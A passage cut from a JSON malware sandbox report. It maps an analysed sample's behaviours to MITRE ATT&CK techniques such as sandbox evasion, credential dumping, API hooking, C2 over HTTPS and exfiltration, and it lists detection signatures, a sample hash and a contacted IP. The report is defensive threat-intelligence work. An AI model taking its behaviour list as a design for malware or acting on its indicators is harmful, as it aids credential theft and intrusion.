Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","identifiers":[{"type":"suspicious","value":"Able to disable driver signature enforcement"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"},{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Able to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Credential Access","technique":"Password Managers","attack_id":"T1555.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/005","identifiers":[{"type":"informative","value":"Able to access password managers"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query the system locale"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Found registry location string related to processor"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Observed security product related strings in binary/memory"},{"type":"informative","value":"Possibly checks for the presence of an Antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Contains ability to lookup the windows account name"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Identified known pipe name"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Collection","technique":"Archive via Utility","attack_id":"T1560.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/001","identifiers":[{"type":"informative","value":"YARA signature match – WinRAR file detected"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"NtCreateThreadE\" (Indicator: \"NtCreateThread\"; File: \"00000000-00002672.00000001.110699.01361000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$29","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00002672.00000000.108780.D2D90000.00000004.mdmp, 00000000-00002672.00000001.110699.D2D90000.00000004.mdmp, 00000000-00002672.00000002.112620.D2D90000.00000004.mdmp, 00000000-00002672.00000003.118130.D2DED000.00000004.mdmp, 00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \"amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00002672.00000000.108780.D2D90000.00000004.mdmp\n Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00002672.00000000.108780.D4D00000.00000004.mdmp\n 00000000-00002672.00000001.110699.D4D00000.00000004.mdmp\n 00000000-00002672.00000002.112620.D4D00000.00000004.mdmp\n 00000000-00002672.00000003.118130.D4D00000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00002672.00000003.118130.D5440000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"\" tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Able to disable driver signature enforcement","description":"Found string \"%SystemRoot%\\System32\\ci.dll,-100\" (Indicator: \"ci.dll\"; Source: \"00000000-00002672.00000000.108780.D2D90000.00000004.mdmp, 00000000-00002672.00000001.110699.D2D90000.00000004.mdmp, 00000000-00002672.00000002.112620.D2D90000.00000004.mdmp, 00000000-00002672.00000003.118130.D2E0A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1553.006","relevance":1,"id":"string-586","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin\" has section name .text with entropy \"7.350957441169139\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Suspicious Domain (*.icu) in TLS SNI\" (SID: 2026889, Rev: 4, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"8/26 Antivirus vendors marked sample as malicious (30% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$4b","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.67.168.122 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to adjust token privileges","description":"GetTokenInformation@ADVAPI32.dll at 55087-504-00402264","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1134.003","relevance":5,"id":"stream-76","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory","description":"AllocateAndInitializeSid@ADVAPI32.dll at 55087-504-00402264","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1134.001","relevance":3,"id":"stream-117","sources":[{"report_type":"sandbox","report_id":"69ba680594f2f58b51036479"}]},{"level":"suspicious","category":"System Security","name":"Hooks API calls","description":"\"EtwEventWrite@NTDLL.DLL\" in \"